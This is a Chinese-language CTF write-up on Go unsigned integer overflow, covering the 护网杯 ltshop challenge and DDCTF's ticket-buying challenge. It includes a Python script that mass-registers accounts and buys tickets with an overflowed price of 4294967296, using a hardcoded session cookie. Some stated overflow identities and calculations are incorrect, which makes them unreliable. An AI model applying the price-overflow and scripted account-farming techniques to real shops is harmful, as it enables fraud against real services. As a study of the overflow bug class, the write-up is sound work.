go语言整数溢出

go语言是Google开发的一种静态强类型、编译型、并发型,并具有垃圾回收功能的编程语言

go整数溢出

go语言的数据类型有:布尔型、数字类型、字符串类型、派生类型(指针类型、数组类型…),我们着重看下数字类型

go有基于架构的类型,例如:int、uint 和 uintptr。

序号 类型和描述
1 uint8 无符号 8 位整型 (0 到 255)
2 uint16 无符号 16 位整型 (0 到 65535)
3 uint32 无符号 32 位整型 (0 到 4294967295)
4 uint64 无符号 64 位整型 (0 到 18446744073709551615)
5 int8 有符号 8 位整型 (-128 到 127)
6 int16 有符号 16 位整型 (-32768 到 32767)
7 int32 有符号 32 位整型 (-2147483648 到 2147483647)
8 int64 有符号 64 位整型 (-9223372036854775808 到 9223372036854775807)

对于无符号的整型溢出:

  • max + 1 = 0
  • max + 2 = 1
  • max + n = n -1
  • max * 2 = max - 1
  • max * 3 = max - 2
  • max * n = max - n

护网杯ltshop

要拿到flag,购买流程:

购买大辣条-》兑换辣条之王-》兑换flag

但是初始金钱是固定的20;发现只有一个可控变量,即兑换辣条之王的数目,可以推测后台伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
uint64 number = input()    //用户输入的兑换辣条之王的数字
uint64 max = math.uint64max //无符号整型的最大值
uint64 biglt = 6 //用户的大辣条包数,假如为6包
uint64 kinglt = 0 //用户拥有的辣条之王
if(number不是数字){
error
}
else if(number > max){
error
}
else if( (biglt - 5 * number) < 0 ){
print 买不起那么多
}
else if( (biglt - 5 * number) >= 0 ){
print 购买成功
biglt = biglt - 5 * number
kinglt = number
}

1.首先要利用条件竞争,购买到的大辣条的个数要大于5,才能利用整数溢出来完成购买辣条之王

2.number不能超过max,不然会输出error,且number的值即为最后kinglt的值,因此number要大于9999999

且要让(biglt - 5 * number) >= 0,才能进入到第三个条件语句:

5 * number <= biglt

5 * number <= 6

5 * number <= max + 7

number <= (max + 7)/5

则让number = (max + 5)/5即可,此时

biglt = biglt - 5 * number = 6 - (max + 5) = 6 - 4 = 2

kinglt = number = (max + 5)/5

ddctf大吉大利,今晚吃鸡~

创建订单,发现要2000才能购买

在创建订单的时候进行抓包,发现请求:

GET /ctf/api/buy_ticket?ticket_price=2000

则不断尝试整数溢出,后来发现是uint32整数溢出,则将2000改为4294967295 + 1,那么在购买的时候会花费max + 1,即0

需要淘汰掉100人,需要输入礼包的id和ticket_id才能淘汰掉一个人

方法一.先注册100个小号,再用大号一个个淘汰掉

用这种写脚本的方法,有以下需要注意的:

1.在注册和登录的账号和密码都是以get请求发出的
2.登录成功后返回了bill_id,购买时参数需要附加这个bill_id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests, json

g = requests.session()

headers = {
'Cookie': 'user_name=abcdgtf; REVEL_SESSION=641e2f6738230859394160c7085814b6'
}

for i in range(100, 800):
s = requests.session()
register = 'http://117.51.147.155:5050/ctf/api/register?name=gggv' + '{}'.format(i) + '&password=123456789'
#print(register)
login = 'http://117.51.147.155:5050/ctf/api/login?name=gggv' + '{}'.format(i) + '&password=123456789'
create_bill = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
buy = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=' # 购买门票

print(s.get(register).text)
print(s.get(login).text)

bill_number = s.get(create_bill).text
bill_number = json.loads(bill_number)

print(bill_number)

bill_number = bill_number['data'][0]['bill_id']
buy_bill = buy + str(bill_number)

#print(buy_bill)

res = s.get(buy_bill).text # 购买,返回礼包id和ticket_id
res = json.loads(res)
#print(res)
your_id = res['data'][0]['your_id']
your_ticket = res['data'][0]['your_ticket']

remove = 'http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(your_id, your_ticket)

print(g.get(remove, headers=headers).text)

参考链接:

https://evoa.me/index.php/archives/4/